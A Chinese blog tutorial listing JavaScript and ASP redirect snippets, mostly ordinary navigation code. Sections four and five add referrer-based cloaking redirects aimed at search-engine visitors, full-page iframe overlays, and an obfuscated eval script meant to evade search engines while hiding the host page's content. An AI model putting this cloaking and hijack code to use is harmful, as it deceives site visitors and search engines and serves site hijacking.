
实现JavaSrcipt页面的跳转
发布日期:2021-05-10 03:43:33
浏览次数:21
分类:原创文章
本文共 3232 字,大约阅读时间需要 10 分钟。
实现JavaSrcipt页面的跳转
一、常规的JS页面跳转代码
1、在原来的窗体中直接跳转用
<script type="text/JavaScript"> window.location.href="你所要跳转的页面";</script>
2、在新窗体中打开页面用:
<script type="text/JavaScript"> window.open('你所要跳转的页面');</script>
3、JS页面跳转参数的注解
<SCRIPT LANGUAGE="javascript"> <!-- window.open ('page.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no') //写成一行 --></SCRIPT>
参数解释:
window.open 弹出新窗口的命令;
‘page.html’ 弹出窗口的文件名;
‘newwindow’ 弹出窗口的名字(不是文件名),非必须,可用空’代;
height=100 窗口高度;
width=500 窗口宽度;
top=0 窗口距离屏幕上方的象素值;
left=0 窗口距离屏幕左侧的象素值。
二、跳转指定页面的JS代码
第1种:
<script language="javascript" type="text/javascript"> window.location.href="login.jsp?backurl="+window.location.href;</script>
第2种:
<script language="javascript"> alert("返回"); window.history.back(-1);</script>
第3种:
<script language="javascript"> window.navigate("top.jsp");</script>
第4种:
<script language="JavaScript"> self.location='top.htm';</script>
第5种:
<script language="javascript"> alert("非法访问!"); top.location='xx.jsp';</script>
三、页面停留指定时间再跳转(如3秒)
<script type="text/javascript"> function jumurl(){ window.location.href = 'http://www.fly63.com/'; } setTimeout(jumurl,3000);</script>
四、根据访客来源跳转的JS代码
1、JS判断来路代码
此段代码主要用于百度谷歌点击进入跳转,直接打开网站不跳转:
<script LANGUAGE="Javascript"> var s=document.referrer if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 ) location.href="http://www.webqdkf.com/";</script>
2、JS直接跳转代码
<script LANGUAGE="Javascript"> location.href="http://www.webqdkf.com/";</script>
3、ASP跳转代码判断来路
<% if instr(Request.Servervariables("http_referer"),"www.yang5460.com")>0 then response.redirect("http://www.webqdkf.com/") end if%>
4、ASP直接跳转的
<% response.redirect("http://www.webqdkf.com/")%>
五、广告与网站页面一起的JS代码
1、上面是广告下面是站群的代码
document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='100%' height='5000' allowTransparency src=http://www.webqdkf.com/></iframe>");
2、全部覆盖的代码
document.write("</iframe><iframe src='http://www.webqdkf.com/' rel='nofollow' scrolling='no' frameborder='0' width='100%' height='2000'>");
3、混淆防止搜索引擎被查的js调用
具体的展示上面是广告下面是站群的代码:
var ss = '<center id="showcloneshengxiaon"><ifr'+'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="63'+'50" src="ht'+'tp://'+'ww'+'w.web'+'qd'+'kf.c'+'om/"></iframe></center>';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{ setInterval(function(){ try{ document.getElementById("div"+"All").style.display="no"+"ne"; }catch(e){ } for(var i=0;i<document.body.children.length;i++){ try{ var tagname = document.body.children[i].tagName; var myid = document.body.children[i].id; if(myid!="icondiv1" && myid!="showcloneshengxiaon"){ // if(tagname!="center"){ document.body.children[i].style.display="non"+"e"; //} } }catch(e){ } } },100);}catch(e){ }
六、页面跳出框架
<script type="text/javascript"> top.location.href='http://www.webqdkf.com/';</script>
七、返回上一页
<script type="text/javascript"> window.history.back(-1);</script>
发表评论
最新留言
逛到本站,mark一下
[***.202.152.39]2025年05月09日 00时22分22秒
关于作者

喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
重载和重写的区别:
2019-03-07
搭建Vue项目步骤
2019-03-07
账号转账演示事务
2019-03-07
SpringBoot找不到@EnableRety注解
2019-03-07
在Vue中使用样式——使用内联样式
2019-03-07
Explore Optimization
2019-03-07
map[]和map.at()取值之间的区别
2019-03-08
【SQLI-Lab】靶场搭建
2019-03-08
Struts2-从值栈获取list集合数据(三种方式)
2019-03-08
推荐几篇近期必看的视觉综述,含GAN、Transformer、人脸超分辨、遥感等
2019-03-09
VTK:可视化之RandomProbe
2019-03-09
block多队列分析 - 2. block多队列的初始化
2019-03-09
Java时间
2019-03-09
不编译只打包system或者vendor image命令
2019-03-09
【编程】C语言入门:1到 100 的所有整数中出现多少个数字9
2019-03-09
flink启动(二)
2019-03-09
pair的用法
2019-03-09
Flex 布局的自适应子项内容过长导致其被撑大问题
2019-03-09
PL/SQL 动态Sql拼接where条件
2019-03-09